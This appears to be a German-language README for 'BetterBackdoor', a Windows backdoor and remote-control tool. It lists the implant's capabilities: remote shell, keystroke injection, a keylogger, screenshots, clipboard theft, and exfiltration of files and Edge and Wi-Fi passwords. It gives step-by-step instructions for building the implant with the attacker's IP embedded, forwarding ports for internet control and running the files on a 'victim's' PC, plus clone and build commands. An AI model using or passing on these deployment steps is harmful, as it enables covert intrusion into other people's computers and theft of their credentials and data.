BetterBackdoor

Ein Backdoor ist ein Werkzeug, das verwendet wird, um Fernzugriff auf einen Rechner zu erlangen.

Normalerweise haben Backdoor-Utilities wie NetCat zwei Hauptfunktionen: Remote-Eingaben in cmd oder bash zu leiten und die Ausgabe zurückzugeben. Das ist nützlich, aber auch begrenzt. BetterBackdoor überwindet diese Einschränkungen, indem es die Möglichkeit bietet, Tastatureingaben zu injizieren, Screenshots zu machen, Dateien zu übertragen und viele andere Aufgaben auszuführen.

Funktionen

BetterBackdoor kann einen Backdoor erstellen und steuern.

Dieser erstellte Backdoor kann:

• Eine Eingabeaufforderung (cmd) öffnen
• PowerShell-Skripte ausführen
• DuckyScripts ausführen, um Tastatureingaben zu injizieren
• Dateien basierend auf der Erweiterung exfiltrieren
• Microsoft Edge- und WLAN-Passwörter exfiltrieren
• Dateien an den und vom Computer des Opfers senden und empfangen
• Einen KeyLogger starten
• Einen Screenshot des Computers des Opfers machen
• In die Zwischenablage des Opfers kopierten Text abrufen
• Inhalte aus einer Datei des Opfers holen (cat)
• Ein Verzeichnis in eine ZIP-Datei komprimieren
• Eine ZIP-Datei dekomprimieren

Dieser Backdoor verwendet eine Client-Server-Socket-Verbindung zur Kommunikation. Der Angreifer startet einen Server, und das Opfer verbindet sich als Client mit diesem Server. (Hinweis: Wenn mehrere Clients eine Verbindung herstellen möchten, wird der Benutzer aufgefordert, den Client auszuwählen, mit dem verbunden werden soll.) Sobald eine Verbindung hergestellt ist, können Befehle an den Client gesendet werden, um den Backdoor zu steuern.

Um den Backdoor zu erstellen, tut BetterBackdoor Folgendes:

• Erstellt 'run.jar', die Backdoor-JAR-Datei, und kopiert sie in das Verzeichnis 'backdoor'.
• Hängt eine Textdatei mit der IP-Adresse des Angreifers und einem Verschlüsselungsschlüssel (falls der Angreifer die Verschlüsselung der an den und vom Backdoor gesendeten Daten gewählt hat) an 'run.jar' an.
  • Hinweis: Diese Daten werden im Klartext geschrieben.
• Kopiert ggf. eine Java-Laufzeitumgebung (JRE) nach 'backdoor' und erstellt die Batch-Datei 'run.bat', um den Backdoor in der gebündelten JRE auszuführen.

Der Backdoor kann innerhalb eines einzelnen Netzwerks (LAN) und über das Internet (WAN) arbeiten. Allerdings muss für die Nutzung des Backdoors über WAN eine Portweiterleitung eingerichtet werden.

Für die WAN-Nutzung müssen die Ports 1025 und 1026 vom Computer des Angreifers mit TCP ausgewählt weitergeleitet werden. Sobald dies geschehen ist, kann der Angreifer den Backdoor auch dann steuern, wenn sich Opfer und Angreifer in unterschiedlichen Netzwerken befinden.

Um den Backdoor auf dem PC des Opfers zu starten, übertragen Sie alle Dateien aus dem Verzeichnis 'backdoor' auf den PC des Opfers.

Wenn eine JRE mit dem Backdoor gebündelt ist, führen Sie run.bat aus, andernfalls run.jar.

Dadurch wird der Backdoor auf dem PC des Opfers gestartet.

Sobald er läuft, müssen Sie zu BetterBackdoor zurückkehren und zu Beginn Option 1 ausführen, um den Backdoor zu steuern.

Demo

Anforderungen

• Eine Java JDK-Distribution >= 8 muss installiert und zu PATH hinzugefügt sein.
• Sie müssen denselben Computer verwenden, um den Backdoor zu erstellen und zu steuern.
  • Die IP-Adresse dieses Computers muss zwischen dem Erstellen und dem Steuern des Backdoors statisch bleiben.
• Der Computer, der zur Steuerung des Backdoors verwendet wird, muss seine Firewall deaktiviert haben, und wenn der Computer ein Unix-Betriebssystem hat, muss BetterBackdoor mit 'sudo' ausgeführt werden.

Kompatibilität

BetterBackdoor ist kompatibel mit Windows, Mac und Linux, während der Backdoor nur mit Windows kompatibel ist.

Installation

# BetterBackdoor klonen
git clone https://github.com/thatcherclough/BetterBackdoor.git

# Arbeitsverzeichnis zu BetterBackdoor wechseln
cd BetterBackdoor

# BetterBackdoor mit Maven erstellen
# unter Windows ausführen
mvnw.cmd clean package

# unter Linux und Mac ausführen
sh mvnw clean package

Verwendung

java -jar betterbackdoor.jar

Lizenz

• MIT
• Copyright 2020 © Thatcher Clough.